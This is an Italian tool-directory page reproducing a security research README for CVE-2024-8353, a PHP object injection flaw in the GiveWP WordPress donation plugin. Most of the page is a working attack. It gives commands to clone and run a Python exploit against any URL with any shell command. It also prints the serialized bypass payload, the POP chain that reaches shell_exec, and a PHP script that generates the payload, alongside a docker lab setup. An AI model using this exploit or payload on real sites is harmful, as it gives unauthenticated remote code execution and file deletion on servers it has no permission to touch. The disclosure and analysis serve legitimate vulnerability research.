Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-8353 — Exploit di PHP Object Injection in GiveWP | Kitploit
Strumenti/GitHubGitHub/eqstlab/cve-2024-8353
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

Exploit di PHP Object Injection in GiveWP

Vedi Repository
1221 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Questo post è un articolo di ricerca pubblicato da EQSTLab. Grazie a cuokon, che ha scoperto questa vulnerabilità.

Introduzione

Ulteriore analisi di CVE-2024-5932 EQST Insight R&T(file PDF).

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 PoC di eliminazione arbitraria di file e RCE ★

Descrizione

CVE-2024-8353 : vulnerabilità di PHP Object Injection in GiveWP

descrizione: il plugin givewp – plugin di donazioni e piattaforma di raccolta fondi per wordpress è vulnerabile a php object injection in tutte le versioni fino alla 3.16.1 inclusa, mediante la deserializzazione di input non attendibile attraverso diversi parametri come give_title e card_address. Ciò consente ad attaccanti non autenticati di iniettare un oggetto php. L'ulteriore presenza di una pop chain consente agli attaccanti di eliminare file arbitrari e ottenere l'esecuzione remota di codice. Si tratta essenzialmente della stessa vulnerabilità di cve-2024-5932; tuttavia, è stato scoperto che la presenza di stripslashes_deep su user_info consente di bypassare il controllo is_serialized. Questo problema è stato in gran parte corretto nella 3.16.1, ma è stato aggiunto un ulteriore rafforzamento nella 3.16.2.

Come usare

⚠️Quando utilizzi il PoC, puoi usare lo stesso comando una sola volta perché “give_title” viene memorizzato nel DB e controllato per i duplicati. In questo caso, puoi usare alcuni trucchi di Linux, soprattutto le virgolette. Ad esempio, se usi “echo”, puoi riutilizzarlo digitando “e‘’cho”.

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

Installare i pacchetti

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Remote code execution
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

Esempio

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Output

CVE-2024-8353.py alt text alt text

Risultato

alt text

Ambiente vulnerabile

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Scarica il plugin GiveWP vulnerabile:

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. Decomprimi il file zip del plugin GiveWP e copia l'intero file nella directory “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Attiva il plugin GiveWP

alt text

5. Aggiungi un nuovo post con il plugin GiveWP e copia il link del post

alt text

6. Controlla il link vulnerabile

alt text

Debug con PHPSTORM

Puoi fare il debug del tuo GiveWP usando PHPSTORM.

1. Scarica xdebug nel tuo wordpress (Docker):

root@kitploit:~
pecl install xdebug

2. Quindi configura il file php.ini di wordpress in questo modo (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..E poi puoi fare il debug del tuo wordpress.

3. Configura PHPSTORM in questo modo (Locale):

alt text alt text

4. Esempio con PHPSTORM (es. eliminazione arbitraria di file TCPDF)

alt text

Analisi

Punto vulnerabile (give/includes/process-donation.php)

Essenzialmente, la sequenza è la stessa di CVE-2024-5932, con la differenza che la logica “is_serialized” è stata aggiunta anche al parametro “give_title”. Il metodo determina che se non è presente il segno :(due punti) all'indice 1, i dati non sono serializzati.

alt text

Dopo il metodo “is_serialized”, la funzione “stripslashes_deep” rimuove il backslash. Quindi, il backslash iniziale () viene rimosso e i dati serializzati vengono passati.

alt text

Payload di bypass

root@kitploit:~
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

POP chaining per RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Restituisce la stringa del comando)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Scenario di attacco

RCE tramite POP Chain

La POP Chain consente l'esecuzione remota di comandi. alt text

url: https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

Disclaimer

Questo repository non è inteso come exploit di Object injection per CVE-2024-8353. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, forse, testare le proprie applicazioni.

EQST Insight

Pubblichiamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni. https://www.skshieldus.com/eng/business/insight.do

Scarica lo strumento